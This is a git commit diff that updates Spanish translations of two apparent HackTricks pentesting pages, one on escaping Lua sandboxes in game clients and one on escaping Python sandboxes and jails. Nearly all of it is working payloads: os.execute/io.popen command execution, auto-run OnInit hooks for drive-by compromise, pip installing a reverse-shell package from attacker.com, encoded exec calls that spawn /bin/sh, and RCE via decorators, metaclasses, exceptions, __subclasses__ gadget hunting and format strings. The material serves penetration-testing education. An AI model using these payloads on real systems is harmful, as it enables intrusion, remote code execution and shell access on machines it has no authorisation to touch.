Translated ['src/windows-hardening/windows-local-privilege-escalation/pr

This commit is contained in:
Translator 2025-09-03 11:33:48 +00:00
parent 601da43291
commit 58b10986a7
9 changed files with 320 additions and 1827 deletions

View File

@ -1,18 +1,18 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
# Bypass Lua sandboxes (VMs embebidos, clientes de juego)
{{#include ../../../banners/hacktricks-training.md}}
Esta página recopila técnicas prácticas para enumerar y escapar de "sandboxes" de Lua embebidos en aplicaciones (notablemente game clients, plugins o in-app scripting engines). Muchos engines exponen un entorno Lua restringido, pero dejan globals potentes alcanzables que permiten ejecución arbitraria de comandos o incluso corrupción nativa de memoria cuando los bytecode loaders están expuestos.
Esta página recopila técnicas prácticas para enumerar y escapar de las "sandboxes" de Lua embebidas en aplicaciones (notablemente clientes de juego, plugins o motores de scripting dentro de la app). Muchos motores exponen un entorno Lua restringido, pero dejan globals poderosas accesibles que permiten ejecución arbitraria de comandos o incluso corrupción de memoria nativa cuando cargadores de bytecode están expuestos.
Ideas clave:
- Trata la VM como un entorno desconocido: enumera _G y descubre qué primitivas peligrosas están accesibles.
- Cuando stdout/print está bloqueado, abusa de cualquier canal de UI/IPC dentro de la VM como un sumidero de salida para observar resultados.
- Trata la VM como un entorno desconocido: enumera _G y descubre qué primitivas peligrosas son accesibles.
- Cuando stdout/print esté bloqueado, abusa de cualquier canal UI/IPC dentro de la VM como sumidero de salida para observar resultados.
- Si io/os está expuesto, a menudo tienes ejecución directa de comandos (io.popen, os.execute).
- Si load/loadstring/loadfile están expuestos, ejecutar bytecode de Lua creado puede subvertir la seguridad de memoria en algunas versiones (≤5.1 los verificadores son evadibles; 5.2 eliminó el verificador), habilitando explotación avanzada.
- Si load/loadstring/loadfile están expuestos, ejecutar bytecode de Lua creado puede subvertir la seguridad de memoria en algunas versiones (≤5.1 los verificadores son bypassables; 5.2 eliminó el verificador), habilitando explotación avanzada.
## Enumerar el entorno sandboxed
## Enumerar el entorno sandbox
- Vuelca el entorno global para inventariar tablas/funciones alcanzables:
- Volcar el entorno global para inventariar tablas/funciones accesibles:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Si no hay print() disponible, reutiliza canales in-VM. Ejemplo de una VM de script de housing de un MMO donde la salida del chat solo funciona después de una llamada de sonido; lo siguiente construye una función de salida fiable:
- Si no hay print() disponible, reutiliza canales dentro de la VM. Ejemplo de un script de housing de un MMO donde la salida del chat solo funciona después de una llamada de sonido; lo siguiente construye una función de salida fiable:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Generaliza este patrón para tu target: cualquier textbox, toast, logger o UI callback que acepte strings puede actuar como stdout para reconnaissance.
Generaliza este patrón para tu objetivo: cualquier textbox, toast, logger o UI callback que acepte strings puede actuar como stdout para reconnaissance.
## Ejecución directa de comandos si io/os está expuesto
## Ejecución directa de comandos si io/os están expuestos
Si el sandbox todavía expone las bibliotecas estándar io or os, probablemente tengas ejecución de comandos inmediata:
Si el sandbox todavía expone las librerías estándar io u os, probablemente tengas ejecución inmediata de comandos:
```lua
-- Windows example
io.popen("calc.exe")
@ -53,27 +53,27 @@ os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Notas:
- La ejecución ocurre dentro del proceso del cliente; muchas capas anti-cheat/antidebug que bloquean external debuggers no impedirán la creación de procesos in-VM.
- Revisa también: package.loadlib (carga arbitraria de DLL/.so), require con módulos nativos, LuaJIT's ffi (si está presente), y la debug library (puede elevar privilegios dentro de la VM).
- La ejecución ocurre dentro del client process; muchas capas anti-cheat/antidebug que bloquean external debuggers no impedirán la creación de procesos in-VM.
- También revisa: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
## Zero-click triggers via auto-run callbacks
## Disparadores Zero-click vía auto-run callbacks
Si la aplicación host envía scripts a los clientes y la VM expone auto-run hooks (p. ej., OnInit/OnLoad/OnEnter), coloca tu payload allí para drive-by compromise tan pronto como se cargue el script:
Si la host application envía scripts a los clientes y la VM expone auto-run hooks (p. ej., OnInit/OnLoad/OnEnter), coloca tu payload allí para drive-by compromise tan pronto como se cargue el script:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Cualquier callback equivalente (OnLoad, OnEnter, etc.) generaliza esta técnica cuando los scripts se transmiten y se ejecutan automáticamente en el cliente.
Cualquier callback equivalente (OnLoad, OnEnter, etc.) generaliza esta técnica cuando los scripts son transmitidos y ejecutados automáticamente en el cliente.
## Dangerous primitives to hunt during recon
Durante la enumeración de _G, busca específicamente:
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: ejecutar código fuente o bytecode; admite cargar bytecode no confiable.
- package, package.loadlib, require: carga dinámica de librerías y la interfaz del módulo.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
- Solo LuaJIT: ffi.cdef, ffi.load para llamar a código nativo directamente.
- io, os: io.popen, os.execute, I/O de archivos, acceso al entorno.
- load, loadstring, loadfile, dofile: ejecutar código fuente o bytecode; permite cargar bytecode no confiable.
- package, package.loadlib, require: carga dinámica de librerías y exposición de módulos.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, y hooks.
- LuaJIT-only: ffi.cdef, ffi.load para llamar código nativo directamente.
Minimal usage examples (if reachable):
```lua
@ -90,20 +90,20 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Escalada opcional: abuso de los cargadores de bytecode de Lua
## Escalada opcional: abusando de los cargadores de bytecode de Lua
Cuando load/loadstring/loadfile son alcanzables pero io/os están restringidos, la ejecución de bytecode de Lua creado puede conducir a divulgación de memoria y primitivas de corrupción. Datos clave:
- Lua ≤ 5.1 incluía un bytecode verifier que tiene bypasses conocidos.
- Lua 5.2 eliminó el verifier por completo (postura oficial: las aplicaciones deberían simplemente rechazar los precompiled chunks), ampliando la superficie de ataque si la carga de bytecode no está prohibida.
- Workflows típicos: leak pointers vía in-VM output, craft bytecode para crear type confusions (p. ej., alrededor de FORLOOP u otros opcodes), y luego pivotar a arbitrary read/write o native code execution.
Cuando load/loadstring/loadfile son accesibles pero io/os están restringidos, la ejecución de bytecode de Lua manipulado puede conducir a primitivas de divulgación y corrupción de memoria. Hechos clave:
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
- Los flujos de trabajo típicos: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), y luego pivotar hacia arbitrary read/write o native code execution.
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
Este camino es específico del engine/version y requiere RE. Consulta las referencias para deep dives, exploitation primitives y ejemplo de gadgetry en juegos.
## Notas de detección y hardening (para defensores)
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: run Lua con un _ENV mínimo, forbid bytecode loading, reintroduce un strict bytecode verifier o signature checks, y bloquear la creación de procesos desde el proceso cliente.
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate con UI/chat/script events.
- Lado servidor: rechazar o reescribir scripts de usuario; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Lado cliente: ejecutar Lua con un _ENV mínimo, prohibir la carga de bytecode, reintroducir un verificador de bytecode estricto o comprobaciones de firma, y bloquear la creación de procesos desde el proceso cliente.
- Telemetría: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
## References

View File

@ -2,12 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
Estos son algunos trucos para evadir las protecciones de sandboxes de python y ejecutar comandos arbitrarios.
Estos son algunos trucos para bypass las protecciones de python sandbox y ejecutar comandos arbitrarios.
## Command Execution Libraries
Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si puedes importar cualquiera de estas librerías:
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar cualquiera de estas bibliotecas:
```python
os.system("ls")
os.popen("ls").read()
@ -40,20 +39,20 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de python y para **escribir algún código** que podrías **ejecutar** para **bypass** el sandbox.
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del python sandbox y para **escribir código** que podrías **ejecutar** para realizar un **bypass** del sandbox.
> [!CAUTION] > La función **Python2 input()** permite ejecutar código python antes de que el programa falle.
> [!CAUTION] > **Python2 input()** function permite ejecutar código python antes de que el programa falle.
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos python): `python3 -c 'import sys; print(sys.path)'`
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde python está cargando los módulos): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox con los paquetes python instalados por defecto
## Bypass pickle sandbox with the default installed python packages
### Paquetes por defecto
Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe librerías arbitrarias** instaladas en el sistema.\
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Ten en cuenta que desde un pickle puedes hacer que el entorno de python **importe librerías arbitrarias** instaladas en el sistema.\
Por ejemplo, el siguiente pickle, cuando se cargue, va a importar la librería pip para usarla:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -78,21 +77,21 @@ Si tienes acceso a `pip` o `pip.main()` puedes instalar un paquete arbitrario y
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Puedes descargar el package para crear el reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py`, y poner tu IP para el reverse shell**:
Puedes descargar el paquete para crear el reverse shell aquí. Ten en cuenta que antes de usarlo debes **descomprimirlo, modificar el `setup.py` y poner tu IP para el reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas del reverse shell el resto de la instalación fallará, por lo que **no dejarás ningún python package adicional instalado en el servidor** cuando te vayas.
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente diseñado para que cuando salgas del reverse shell el resto de la instalación falle, por lo que **no dejarás ningún paquete python extra instalado en el servidor** cuando te vayas.
## Eval-ing python code
## Evaluando código python
> [!WARNING]
> Ten en cuenta que exec permite multiline strings y ";", pero eval no (revisa walrus operator)
> Ten en cuenta que exec permite cadenas multilínea y ";", pero eval no (revisa el walrus operator)
Si ciertos caracteres están prohibidos puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -113,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Otras bibliotecas que permiten eval python code
### Otras bibliotecas que permiten evaluar código python
```python
#Pandas
import pandas as pd
@ -127,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
También ver un escape real de un sandboxed evaluator en generadores de PDF:
Consulte también un sandboxed evaluator escape del mundo real en generadores de PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para acceder a function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener el renderizado estable.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcanzar function.__globals__ y os.system desde atributos evaluados (por ejemplo, font color) y devuelve un valor válido para mantener el renderizado estable.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -144,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Evasión de protecciones mediante codificaciones (UTF-7)
## Eludir protecciones mediante codificaciones (UTF-7)
En [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
En [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se utiliza para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,13 +156,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
También es posible bypassearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
También es posible eludirlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
## Ejecución de Python sin llamadas
Si estás dentro de una python jail que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones arbitrarias, código** y **comandos**.
Si estás dentro de una python jail que **no te permite realizar llamadas**, todavía existen algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -185,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE creando objetos y sobrecarga
Si puedes **declare a class** y **create an object** de esa class, podrías **write/overwrite different methods** que pueden ser **triggered** **without** **needing to call them directly**.
Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesidad de llamarlos directamente**.
#### RCE with custom classes
#### RCE con clases personalizadas
Puedes modificar algunos **class methods** (_by overwriting existing class methods or creating a new class_) para hacer que **execute arbitrary code** cuando sean **triggered** sin llamarlos directamente.
Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para hacer que **ejecuten código arbitrario** cuando sean **activados** sin llamarlos directamente.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -243,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Creando objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Lo importante es que las metaclasses nos permiten **crear una instancia de una clase sin llamar directamente al constructor**, creando una nueva clase con la clase objetivo como metaclase.
Lo fundamental que nos permiten hacer las metaclasses es **crear una instancia de una clase sin llamar directamente al constructor**, creando una nueva clase que tenga como metaclass a la clase objetivo.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -258,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Creación de objetos con excepciones
#### Creación de objetos con exceptions
Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que tengas que llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Cuando se **lanza una exception** se **crea** un objeto de la **Exception** sin que tengas que llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -316,17 +315,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (observa que también podrías usar aquí otra representación de string mostrada en la última sección):
Si puedes acceder al objeto **`__builtins__`**, puedes importar bibliotecas (observa que también podrías usar aquí otra representación de cadena mostrada en la última sección):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Sin Builtins
Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos, ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** en su interior a las que se puede acceder para lograr incluso **ejecución arbitraria de código**.
Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accesadas para obtener incluso **ejecución de código arbitrario**.
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de los mismos.
**Python2**
```python
@ -368,9 +367,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar las **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**centenas** de **lugares** donde puedes encontrar los **builtins**.
#### Python2 y Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -384,7 +383,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals y locals
## Globals and locals
Comprobar los **`globals`** y **`locals`** es una buena forma de saber a qué puedes acceder.
```python
@ -418,7 +417,7 @@ Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligro
#### Accediendo a subclases con bypasses
Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()` pero hay **otras formas posibles**:
Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hacía usando `''.__class__.__base__.__subclasses__()` pero hay **otras maneras posibles**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -448,7 +447,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Encontrar librerías peligrosas cargadas
Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **módulos cargados que hayan importado `sys` dentro de ellos**:
Por ejemplo, sabiendo que con la librería **`sys`** es posible **importar librerías arbitrarias**, puedes buscar todos los **módulos cargados que hayan importado sys en su interior**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -492,7 +491,7 @@ Podemos hacer lo mismo con **otras librerías** que sabemos que pueden usarse pa
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Además, podríamos incluso buscar qué módulos están cargando bibliotecas maliciosas:
Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -511,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Además, si crees que **otras bibliotecas** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las posibles bibliotecas:
Además, si crees que **otras librerías** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las posibles librerías:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -544,10 +543,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Búsqueda recursiva de Builtins, Globals...
## Búsqueda recursiva de builtins, globals...
> [!WARNING]
> Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** usa este script para **encontrar recursivamente lugares donde puedas localizar ese objeto.**
> Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** usa este script para **encontrar recursivamente lugares donde puedas encontrar ese objeto.**
```python
import os, sys # Import these to find more gadgets
@ -672,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Si **envías** una **string** a python que va a ser **formateada**, puedes usar `{}` para acceder a la **información interna de python**. Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
Si **envías** una **cadena** a python que se va a **formatear**, puedes usar `{}` para acceder a información interna de python. Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -692,11 +691,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
